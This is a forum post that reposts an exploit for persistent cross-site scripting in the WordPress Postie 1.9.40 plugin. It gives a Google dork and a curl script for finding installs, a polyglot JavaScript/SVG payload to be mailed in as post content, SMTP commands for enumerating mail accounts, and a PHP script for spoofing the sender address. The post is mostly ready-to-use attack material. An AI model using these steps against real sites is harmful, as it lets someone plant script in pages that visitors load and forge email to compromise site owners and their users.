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WordPress Postie 1.9.40 Plugin - Persistent Cross-Site Scripting Exploit

NasyoneL

NasyoneL

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25 Ağu 2017
25,060 Mesaj

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TIM / GÖREV:
WordPress Postie 1.9.40 Plugin - Persistent Cross-Site Scripting Exploit

Kod:
# Exploit Title: WordPress Plugin Postie 1.9.40 - Persistent Cross-Site Scripting
# Google Dork: inurl:/wp-content/plugins/postie/readme.txt
# Date: 2020-01-15
# Exploit Author: V1n1v131r4
# Vendor Homepage: https://postieplugin.com/
# Software Link: https://wordpress.org/plugins/postie/#developers
# Version: <=1.9.40
# Tested on: Linux
# CVE : CVE-2019-20203, CVE-2019-20204
 
## Identifying WordPress Postie Plugin installation
 
#!/bin/bash                                                                                                                                                                                                                                     if curl -s -o /dev/null -w "%{http_code}" http://<domain.com>/wp-content/plugins/postie/readme.txt | grep 200 > /dev/null; then                                                                                                                    echo ""                                                                                                                 echo "Postie installed!"                                                                                        else                                                                                                                            echo ""                                                                                                                 echo "Postie seems not to be installed"                                                                         fi  
 
## Performing persistent XSS using Polyglot JavaScript syntax with crafted SVG (CVE-2019-20204)
 
# the syntax below should go as email body
 
jaVasCript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(You've been hacked)//'>
 
## Email to post on Postie
 
- Identifying the mail server
 
        dig domain.com mx
 
- enumerating accounts via SMTP
 
        telnet domain.com 587
        EHLO buddy
        mail from:<[email protected]>
        rcpt to:<[email protected]>
        vrfy [email protected]
 
 
- listing accounts via third party software
 
        You can use these third party software and APIs to enumerate target email users:
        - https://www.zerobounce.net
        - https://tools.verifyemailaddress.io/
        - https://hunter.io/email-verifier
 
 
 
## Spoofing with PHPMailer
 
 
<?php
 
        /* CONFIGURE PHP IF NEEDED */
        // ini_set("sendmail_from","$fromFull");
        // ini_set("SMTP","mail.domain.com");
        // ini_set('smtp_port',587);
        // ini_set('username',"user");
        // ini_set('password',"pass");
 
 
        // COMPOSE
        $to      = '[email protected]';
        $subject = 'Title of your post';
        $message = 'You've been hacked :-)';
         
 
        // BASIC HEADER
        $headers = 'From: [email protected]' . "\r\n" .
                           'Reply-To: [email protected]' . "\r\n" .
                   'X-Mailer: PHP/' . phpversion();
         
         
        // SEND AND SHOW MESSAGE
        if (mail($to, $subject, $message, $headers)) echo $headers.'<h1>Mail sent!</h1>';
        else echo '<h1>Something went wrong...</h1>';
         
 
        // FULL HEADER
        // $headers  = "From: testsite < [email protected] >\n";
        // $headers .= "Cc: testsite < [email protected] >\n"; 
        // $headers .= "X-Sender: testsite < [email protected] >\n";
        // $headers .= 'X-Mailer: PHP/' . phpversion();
        // $headers .= "X-Priority: 1\n";
        // $headers .= "Return-Path: [email protected]\n";
        // $headers .= "MIME-Version: 1.0\r\n";
        // $headers .= "Content-Type: text/html; charset=iso-8859-1\n";
 
    ?>
 
#  0day.today [2020-01-18]  #